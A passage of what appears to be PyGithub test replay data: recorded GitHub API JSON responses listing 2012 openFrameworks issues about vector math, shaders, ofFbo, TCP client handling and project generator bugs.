handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3627067,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3614231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testIteration.txt0000644000175100001660000227572314756101563024326 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"cf9ec647fbc78faae05cb2d11598f79c"'), ('date', 'Tue, 29 May 2012 19:27:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be 